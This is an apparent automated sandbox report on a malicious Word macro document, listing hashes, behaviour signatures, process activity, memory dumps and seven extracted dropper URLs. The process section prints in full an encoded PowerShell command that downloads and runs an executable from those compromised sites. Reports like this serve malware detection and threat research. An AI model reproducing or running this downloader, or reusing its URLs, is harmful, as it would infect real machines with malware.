Analysis

  • max time kernel
    105s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-05-2022 04:11

General

  • Target

    sample.doc

  • Size

    250KB

  • MD5

    5beff240d2fdcb9b7f5964c013149f9a

  • SHA1

    26f56d6baaad284586fe09dbad117d79089a097a

  • SHA256

    56dcff4ecd45c2746400befa109c1dae9cb935164fba6744f71387ad5cfdbe80

  • SHA512

    e00c03d76f22f94762646f02770089ae8c32031d12607f46964cfc02176b570b5c0c2c2bd9c3a84223ce97b5fc936c37a02206f0bfb3f85236d70a3f5171aae1

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.agentstepp.com/ww12/6ZI/

exe.dropper

http://badaia.net/baiaseu/m4G4chJ/

exe.dropper

http://www.bambagiotti.it/shop/ymwU6/

exe.dropper

http://bbcalegal.com/attachments/AAyd/

exe.dropper

http://mezes.de/title_htm_files/Mb/

exe.dropper

http://computerfastfix.co.uk/css/DXj/

exe.dropper

http://sacentrs.lv/wp-content/uploads/2018/Cc/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABOAHYANABoADkAXwAyAD0AKAAoACcATgBwACcAKwAnAGYAegBtACcAKQArACcAbQBpACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBwAFIATwBmAGkAbABlAFwAbAA3ADAAZwBFADAAMgBcAEsARQByAGkAZgB4ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBpAFQAYABZAGAAUABSAE8AVABvAGMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACgAJwAyACwAJwArACcAIAB0AGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQASwBqAGwAaQBpADAAegAgAD0AIAAoACcATABmACcAKwAoACcAcQAnACsAJwBnAHcAMwAnACkAKQA7ACQASwByAHgAOAAzAGMAaQA9ACgAJwBUACcAKwAnAHIAJwArACgAJwBkADEAJwArACcAeABmAHMAJwApACkAOwAkAEoAaABfAGwANwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBWAHgAJwArACcAdwAnACkAKwAnAEwANwAnACsAJwAwAGcAJwArACgAJwBlADAAJwArACcAMgBWAHgAJwArACcAdwBLAGUAcgBpACcAKQArACgAJwBmAHgANAAnACsAJwBWAHgAJwApACsAJwB3ACcAKQAgACAALQBjAFIAZQBQAEwAYQBjAGUAIAAgACgAJwBWAHgAJwArACcAdwAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQASwBqAGwAaQBpADAAegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwAZQAyAHgAegA0AGIAPQAoACcAQgAnACsAKAAnADgAbgAzAGEAJwArACcAZwB4ACcAKQApADsAJABVAHIAawBnAG8AOABrAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAGUAbgB0ADsAJABUAF8AZwB1ADAAeAB2AD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBhACcAKQArACcAZwBlACcAKwAoACcAbgB0ACcAKwAnAHMAdABlAHAAcAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwApACsAKAAnAHcAMQAnACsAJwAyACcAKwAnAC8ANgBaAEkALwAqAGgAdAB0AHAAOgAvAC8AYgAnACsAJwBhACcAKwAnAGQAJwArACcAYQAnACkAKwAnAGkAYQAnACsAJwAuAG4AJwArACgAJwBlAHQAJwArACcALwBiACcAKQArACgAJwBhAGkAJwArACcAYQBzACcAKQArACcAZQB1ACcAKwAnAC8AbQAnACsAKAAnADQARwAnACsAJwA0ACcAKQArACgAJwBjACcAKwAnAGgASgAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYgBhACcAKwAnAG0AJwApACsAJwBiAGEAJwArACgAJwBnACcAKwAnAGkAbwB0AHQAaQAuACcAKwAnAGkAdAAnACkAKwAnAC8AcwAnACsAKAAnAGgAbwBwAC8AJwArACcAeQBtACcAKwAnAHcAJwArACcAVQA2AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAYgBjAGEAJwArACcAbABlAGcAYQAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAJwBhACcAKwAnAGMAJwArACgAJwBoAG0AJwArACcAZQAnACkAKwAnAG4AdAAnACsAJwBzACcAKwAnAC8AQQAnACsAJwBBAHkAJwArACgAJwBkAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBtACcAKQArACcAZQAnACsAJwB6ACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC4AZABlACcAKQArACgAJwAvAHQAJwArACcAaQAnACkAKwAoACcAdAAnACsAJwBsAGUAXwAnACkAKwAnAGgAdAAnACsAKAAnAG0AXwAnACsAJwBmAGkAbAAnACkAKwAnAGUAJwArACcAcwAnACsAKAAnAC8ATQAnACsAJwBiAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AYwBvACcAKwAnAG0AcAB1AHQAZQAnACsAJwByACcAKQArACcAZgAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBmAGkAeAAuAGMAJwArACcAbwAnACkAKwAnAC4AJwArACgAJwB1AGsALwAnACsAJwBjAHMAcwAvACcAKQArACgAJwBEACcAKwAnAFgAagAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AJwArACcAcwBhACcAKwAnAGMAZQBuACcAKwAnAHQAJwArACcAcgBzACcAKQArACgAJwAuAGwAJwArACcAdgAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKQArACgAJwB1AHAAbAAnACsAJwBvACcAKQArACcAYQAnACsAJwBkAHMAJwArACgAJwAvACcAKwAnADIAMAAxADgALwBDAGMAJwArACcALwAnACkAKQAuACIAUwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGEAbwAyAGsAYwBfAD0AKAAnAEgANAAnACsAKAAnAG8AaABqACcAKwAnAHgAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAZgB3ADgAYgB1ADkAIABpAG4AIAAkAFQAXwBnAHUAMAB4AHYAKQB7AHQAcgB5AHsAJABVAHIAawBnAG8AOABrAC4AIgBkAG8AYAB3AE4AYABMAG8AYABBAEQAZgBpAGwARQAiACgAJABCAGYAdwA4AGIAdQA5ACwAIAAkAEoAaABfAGwANwB0AHIAKQA7ACQAWQB2AGEAYgA3AGUAOAA9ACgAKAAnAEsAeAA3ACcAKwAnADYAegAnACkAKwAnAHIAdwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASgBoAF8AbAA3AHQAcgApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADMAMQA4ADEANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABKAGgAXwBsADcAdAByACkAOwAkAE0AMAB3ADIAMwBqAG8APQAoACcAUABuACcAKwAoACcANwBwACcAKwAnADYAMgAnACkAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABLADUAcABnAHYAMgB4AD0AKAAnAFUAbQAnACsAKAAnAHkAJwArACcAaABlACcAKQArACcAcQA1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBuADMAegBfAGgAZwA9ACgAKAAnAFEAJwArACcAOQBqACcAKQArACcAMwBhACcAKwAnAGgAdgAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1736

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/800-72-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-61-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/800-57-0x000000007160D000-0x0000000071618000-memory.dmp
      Filesize

      44KB

    • memory/800-54-0x0000000072BA1000-0x0000000072BA4000-memory.dmp
      Filesize

      12KB

    • memory/800-59-0x00000000001D0000-0x00000000002D0000-memory.dmp
      Filesize

      1024KB

    • memory/800-60-0x00000000001D0000-0x00000000002D0000-memory.dmp
      Filesize

      1024KB

    • memory/800-70-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-62-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-69-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-64-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-65-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-66-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-67-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-68-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-71-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-58-0x0000000076561000-0x0000000076563000-memory.dmp
      Filesize

      8KB

    • memory/800-55-0x0000000070621000-0x0000000070623000-memory.dmp
      Filesize

      8KB

    • memory/800-63-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-73-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-74-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-76-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-75-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-77-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-79-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-78-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-80-0x00000000056F9000-0x0000000005702000-memory.dmp
      Filesize

      36KB

    • memory/800-88-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1736-82-0x000007FEF2CB0000-0x000007FEF36D3000-memory.dmp
      Filesize

      10.1MB

    • memory/1736-83-0x000007FEEEF70000-0x000007FEEFACD000-memory.dmp
      Filesize

      11.4MB

    • memory/1736-84-0x0000000002404000-0x0000000002407000-memory.dmp
      Filesize

      12KB

    • memory/1736-85-0x000000000240B000-0x000000000242A000-memory.dmp
      Filesize

      124KB

    • memory/1736-81-0x000007FEFC0B1000-0x000007FEFC0B3000-memory.dmp
      Filesize

      8KB

    • memory/1752-86-0x0000000000000000-mapping.dmp